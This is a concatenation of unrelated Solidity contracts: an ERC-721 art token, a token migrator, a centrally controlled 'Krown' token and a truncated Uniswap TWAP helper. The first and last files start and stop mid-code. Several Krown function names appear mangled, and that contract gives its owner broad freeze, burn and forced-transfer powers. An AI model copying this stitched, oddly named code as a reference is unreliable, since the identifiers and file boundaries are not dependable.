extcodesize(addr) } return size > 0; } } contract ERC721BasicToken is ERC721Basic { using SafeMath for uint256; using AddressUtils for address; bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; mapping (uint256 => address) internal tokenOwner; mapping (uint256 => address) internal tokenApprovals; mapping (address => uint256) internal ownedTokensCount; mapping (address => mapping (address => bool)) internal operatorApprovals; modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); if (getApproved(_tokenId) != address(0) || _to != address(0)) { tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } } function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } function transferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } } function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } contract ERC721Token is ERC721, ERC721BasicToken { string internal name_; string internal symbol_; mapping(address => uint256[]) internal ownedTokens; mapping(uint256 => uint256) internal ownedTokensIndex; uint256[] internal allTokens; mapping(uint256 => uint256) internal allTokensIndex; mapping(uint256 => string) internal tokenURIs; constructor(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; } function name() public view returns (string) { return name_; } function symbol() public view returns (string) { return symbol_; } function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } function totalSupply() public view returns (uint256) { return allTokens.length; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract CryptoArte is ERC721Token, Ownable { mapping (uint256 => uint256) public tokenIdToHash; constructor() ERC721Token("CryptoArte", "CARTE") public { } function mintTo(address _to, string _tokenURI, uint256 _tokenId, uint256 _tokenHash) public onlyOwner { _mint(_to, _tokenId); _setTokenURI(_tokenId, _tokenURI); tokenIdToHash[_tokenId] = _tokenHash; } function mintManyTo(address _to, string _tokenURIPrefix, uint256[] _tokenIds, uint256[] _tokenHashes) public onlyOwner { require(_tokenIds.length >= 1); require(_tokenIds.length == _tokenHashes.length); for (uint i = 0; i < _tokenIds.length; i++) { _mint(_to, _tokenIds[i]); _setTokenURI(_tokenIds[i], strConcat(_tokenURIPrefix, uint256Tostr(_tokenIds[i]))); tokenIdToHash[_tokenIds[i]] = _tokenHashes[i]; } } function setTokenURI(string _tokenURI, uint256 _tokenId) public onlyOwner { _setTokenURI(_tokenId, _tokenURI); } function setTokenHash(uint256 _tokenHash, uint256 _tokenId) public onlyOwner { require(exists(_tokenId)); tokenIdToHash[_tokenId] = _tokenHash; } function strConcat(string _a, string _b) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); string memory ab = new string(_ba.length + _bb.length); bytes memory bab = bytes(ab); uint k = 0; for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i]; return string(bab); } function uint256Tostr(uint256 _i) internal pure returns (string) { if (_i == 0) return "0"; uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; while (_i != 0){ bstr[k--] = byte(48 + _i % 10); _i /= 10; } return string(bstr); } }
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pragma solidity >=0.6.0 <0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity >=0.6.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } pragma solidity >=0.6.0 <0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity >=0.6.0 <0.8.0; abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } pragma solidity >=0.6.0 <0.8.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.7.5; interface ICallable { function tokenCallback(address _from, uint _tokens, bytes calldata _data) external returns (bool); } pragma solidity ^0.7.5; interface IDrainer { function drainEth(address payable _beneficiary) external; function drainTokens(address _token, address _beneficiary, uint _amount) external; } pragma solidity ^0.7.5; abstract contract Drainer is IDrainer, Ownable { function drainEth(address payable _beneficiary) public onlyOwner virtual override { uint balance = address(this).balance; _beneficiary.call{ value : balance}(""); } function drainTokens(address _token, address _beneficiary, uint _amount) public onlyOwner virtual override { require(_amount > 0, "0 amount"); IERC20(_token).transfer(_beneficiary, _amount); } } pragma solidity ^0.7.5; contract BonkMigrator is Ownable, ReentrancyGuard, Drainer, ICallable { using SafeMath for uint; uint public constant CLAIM_PERIOD = 100 days; IERC20 public oldToken; IERC20 public newToken; uint public deadline; mapping(address => uint) public migrated; uint public totalMigrated; event Migrated(address indexed _recipient, uint _amount, uint _timestamp); constructor(address _oldToken, address _newToken) { require(_oldToken != address(0), "Invalid old token address"); require(_newToken != address(0), "Invalid new token address"); oldToken = IERC20(_oldToken); newToken = IERC20(_newToken); deadline = _getNow() + CLAIM_PERIOD; } modifier beforeDeadline() { require(_getNow() <= deadline, "Too late"); _; } modifier onlyOldBonkToken() { require(msg.sender == address(oldToken), "Caller is not the old token"); _; } function tokenCallback(address _from, uint256 _tokens, bytes calldata _data) external override nonReentrant beforeDeadline onlyOldBonkToken returns (bool) { require(_tokens > 0, "Invalid amount"); _tokens = _tokens.mul(110).div(100); _migrate(_from, _tokens); return true; } function migrateAll() external returns (bool) { uint balance = oldToken.balanceOf(msg.sender); return migrate(balance); } function migrate(uint _amount) public nonReentrant beforeDeadline returns (bool) { require(_amount > 0, "Invalid amount"); require(oldToken.transferFrom(msg.sender, address(this), _amount), "Transfer failed"); _migrate(msg.sender, _amount); return true; } function drainTokens(address _token, address _beneficiary, uint _amount) public override { require(_getNow() > deadline, "Too early"); super.drainTokens(_token, _beneficiary, _amount); } function _migrate(address _recipient, uint _amount) internal { migrated[_recipient] = migrated[_recipient].add(_amount); totalMigrated = totalMigrated.add(_amount); require(newToken.transfer(_recipient, _amount), "Tokens transfer failed"); emit Migrated(_recipient, _amount, _getNow()); } function _getNow() internal view returns (uint) { return block.timestamp; } }
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1,733
pragma solidity ^0.4.13; contract owned { address public centralAuthority; address public plutocrat; function owned() { centralAuthority = msg.sender; plutocrat = msg.sender; } modifier onlyOwner { if (msg.sender != centralAuthority) revert(); _; } modifier onlyPlutocrat { if (msg.sender != plutocrat) revert(); _; } function transfekbolOwnership(address newOwner) onlyPlutocrat { centralAuthority = newOwner; } function transfekbolPlutocrat(address newPlutocrat) onlyPlutocrat { plutocrat = newPlutocrat; } } contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); } contract token { string public decentralizedEconomy = 'PLUTOCRACY'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event InterestFreeLending(address indexed from, address indexed to, uint256 value, uint256 duration_in_days); event Settlement(address indexed from, address indexed to, uint256 value, string notes, string reference); event AuthorityNotified(string notes, string reference); event ClientsNotified(string notes, string reference); event LoanRepaid(address indexed from, address indexed to, uint256 value, string reference); event TokenBurnt(address indexed from, uint256 value); event EconomyTaxed(string base_value, string target_value, string tax_rate, string taxed_value, string notes); event EconomyRebated(string base_value, string target_value, string rebate_rate, string rebated_value, string notes); event PlutocracyAchieved(string value, string notes); function token( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; } function transfer(address _to, uint256 _value) { if (_to == 0x0) revert(); if (balanceOf[msg.sender] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } function approve(address _spender, uint256 _value) returns (bool success) { allowance[msg.sender][_spender] = _value; Approval (msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) revert(); if (balanceOf[_from] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); if (_value > allowance[_from][msg.sender]) revert(); balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function () { revert(); } } contract Krown is owned, token { string public nominalValue; string public update; string public sign; string public website; uint256 public totalSupply; uint256 public notificationFee; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function Krown( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol, address centralMinter ) token (initialSupply, tokenName, decimalUnits, tokenSymbol) { if(centralMinter != 0 ) centralAuthority = centralMinter; balanceOf[centralAuthority] = initialSupply; } function transfer(address _to, uint256 _value) { if (_to == 0x0) revert(); if (balanceOf[msg.sender] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); if (frozenAccount[msg.sender]) revert(); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } function lend(address _to, uint256 _value, uint256 _duration_in_days) { if (_to == 0x0) revert(); if (balanceOf[msg.sender] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); if (frozenAccount[msg.sender]) revert(); if (_duration_in_days > 36135) revert(); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; InterestFreeLending(msg.sender, _to, _value, _duration_in_days); } function repayLoan(address _to, uint256 _value, string _reference) { if (_to == 0x0) revert(); if (balanceOf[msg.sender] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); if (frozenAccount[msg.sender]) revert(); if (bytes(_reference).length != 66) revert(); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; LoanRepaid(msg.sender, _to, _value, _reference); } function settlvlement(address _from, uint256 _value, address _to, string _notes, string _reference) onlyOwner { if (_from == plutocrat) revert(); if (_to == 0x0) revert(); if (balanceOf[_from] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); if (bytes(_reference).length != 66) revert(); balanceOf[_from] -= _value; balanceOf[_to] += _value; Settlement( _from, _to, _value, _notes, _reference); } function notifyAuthority(string _notes, string _reference) { if (balanceOf[msg.sender] < notificationFee) revert(); if (bytes(_reference).length > 66) revert(); if (bytes(_notes).length > 64) revert(); balanceOf[msg.sender] -= notificationFee; balanceOf[centralAuthority] += notificationFee; AuthorityNotified( _notes, _reference); } function notifylvlClients(string _notes, string _reference) onlyOwner { if (bytes(_reference).length > 66) revert(); if (bytes(_notes).length > 64) revert(); ClientsNotified( _notes, _reference); } function taxlvlEconomy(string _base_value, string _target_value, string _tax_rate, string _taxed_value, string _notes) onlyOwner { EconomyTaxed( _base_value, _target_value, _tax_rate, _taxed_value, _notes); } function rebatelvlEconomy(string _base_value, string _target_value, string _rebate_rate, string _rebated_value, string _notes) onlyOwner { EconomyRebated( _base_value, _target_value, _rebate_rate, _rebated_value, _notes); } function plutocracylvlAchieved(string _value, string _notes) onlyOwner { PlutocracyAchieved( _value, _notes); } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) revert(); if (frozenAccount[_from]) revert(); if (balanceOf[_from] < _value) revert(); if (balanceOf[_to] + _value < balanceOf[_to]) revert(); if (_value > allowance[_from][msg.sender]) revert(); balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function mintlvlToken(address target, uint256 mintedAmount) onlyOwner { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function burnlvlToken(address _from, uint256 _value) onlyOwner { if (_from == plutocrat) revert(); if (balanceOf[_from] < _value) revert(); balanceOf[_from] -= _value; totalSupply -= _value; TokenBurnt(_from, _value); } function freezelvlAccount(address target, bool freeze) onlyOwner { if (target == plutocrat) revert(); frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setlvlSign(string newSign) onlyOwner { sign = newSign; } function setlvlNominalValue(string newNominalValue) onlyOwner { nominalValue = newNominalValue; } function setlvlUpdate(string newUpdate) onlyOwner { update = newUpdate; } function setlvlWebsite(string newWebsite) onlyOwner { website = newWebsite; } function setlvlNfee(uint256 newFee) onlyOwner { notificationFee = newFee; } }
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2,777
pragma solidity ^0.5.15; pragma experimental ABIEncoderV2; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract UniHelper{ using SafeMath for uint256; uint256 internal constant ONE = 10**18; function _mintLPToken( IUniswapV2Pair uniswap_pair, IERC20 token0, IERC20 token1, uint256 amount_token1, address token0_source ) internal { (uint256 reserve0, uint256 reserve1, ) = uniswap_pair .getReserves(); uint256 quoted = quote(reserve0, reserve1); uint256 amount_token0 = quoted.mul(amount_token1).div(ONE); token0.transferFrom(token0_source, address(uniswap_pair), amount_token0); token1.transfer(address(uniswap_pair), amount_token1); IUniswapV2Pair(uniswap_pair).mint(address(this)); } function _burnLPToken(IUniswapV2Pair uniswap_pair, address destination) internal { uniswap_pair.transfer( address(uniswap_pair), uniswap_pair.balanceOf(address(this)) ); IUniswapV2Pair(uniswap_pair).burn(destination); } function quote(uint256 purchaseAmount, uint256 saleAmount) internal pure returns (uint256) { return purchaseAmount.mul(ONE).div(saleAmount); } } contract YamGoverned { event NewGov(address oldGov, address newGov); event NewPendingGov(address oldPendingGov, address newPendingGov); address public gov; address public pendingGov; modifier onlyGov { require(msg.sender == gov, "!gov"); _; } function _setPendingGov(address who) public onlyGov { address old = pendingGov; pendingGov = who; emit NewPendingGov(old, who); } function _acceptGov() public { require(msg.sender == pendingGov, "!pendingGov"); address oldgov = gov; gov = pendingGov; pendingGov = address(0); emit NewGov(oldgov, gov); } } contract YamSubGoverned is YamGoverned { event SubGovModified( address account, bool isSubGov ); mapping(address => bool) public isSubGov; modifier onlyGovOrSubGov() { require(msg.sender == gov || isSubGov[msg.sender]); _; } function setIsSubGov(address subGov, bool _isSubGov) public onlyGov { isSubGov[subGov] = _isSubGov; emit SubGovModified(subGov, _isSubGov); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call.value(weiValue)(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Babylonian { function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } library FixedPoint { struct uq112x112 { uint224 _x; } struct uq144x112 { uint _x; } uint8 private constant RESOLUTION = 112; uint private constant Q112 = uint(1) << RESOLUTION; uint private constant Q224 = Q112 << RESOLUTION; function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { require(x != 0, 'FixedPoint: DIV_BY_ZERO'); return uq112x112(self._x / uint224(x)); } function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { uint z; require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW"); return uq144x112(z); } function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, "FixedPoint: DIV_BY_ZERO"); return uq112x112((uint224(numerator) << RESOLUTION) / denominator); } function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) { require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL'); return uq112x112(uint224(Q224 / self._x)); } function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56)); } } library UniswapV2OracleLibrary { using FixedPoint for *; function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } function currentCumulativePrices( address pair, bool isToken0 ) internal view returns (uint priceCumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (isToken0) { priceCumulative = IUniswapV2Pair(pair).price0CumulativeLast(); if (blockTimestampLast != blockTimestamp) { uint32 timeElapsed = blockTimestamp - blockTimestampLast; priceCumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; } } else { priceCumulative = IUniswapV2Pair(pair).price1CumulativeLast(); if (blockTimestampLast != blockTimestamp) { uint32 timeElapsed = blockTimestamp - blockTimestampLast; priceCumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } } contract TWAPBoundedUGASSEPT { using SafeMath for uint256; uint256 internal constant BASE = 10**18; uint256 internal constant ONE = 10**18; IUniswapV2Pair internal uniswap_pair = IUniswapV2Pair(0x5CCD155ad26B74913ed6266A516A085A2343D426); IERC20 internal constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 internal constant SEPT_UGAS = IERC20(0xfc10b3A8011B00489705EF1Fc00D0e501106cB1D); uint32 internal block_timestamp_last; uint256 internal price_cumulative_last; uint256 internal constant MIN_TWAP_TIME = 60 * 60; uint256 internal constant MAX_TWAP_TIME = 120 * 60; uint256 internal constant TWAP_BOUNDS = 5 * 10**15; function quote(uint256 purchaseAmount, uint256 saleAmount) internal pure returns (uint256) { return purchaseAmount.mul(ONE).div(saleAmount); } function bounds(uint256 uniswap_quote) internal pure returns (uint256) { uint256 minimum = uniswap_quote.mul(BASE.sub(TWAP_BOUNDS)).div(BASE); return minimum; } function bounds_max(uint256 uniswap_quote) internal pure returns (uint256) { uint256 maximum = uniswap_quote.mul(BASE.add(TWAP_BOUNDS)).div(BASE); return maximum; } function withinBounds(uint256 purchaseAmount, uint256 saleAmount) internal view returns (bool) { uint256 uniswap_quote = consult(); uint256 quoted = 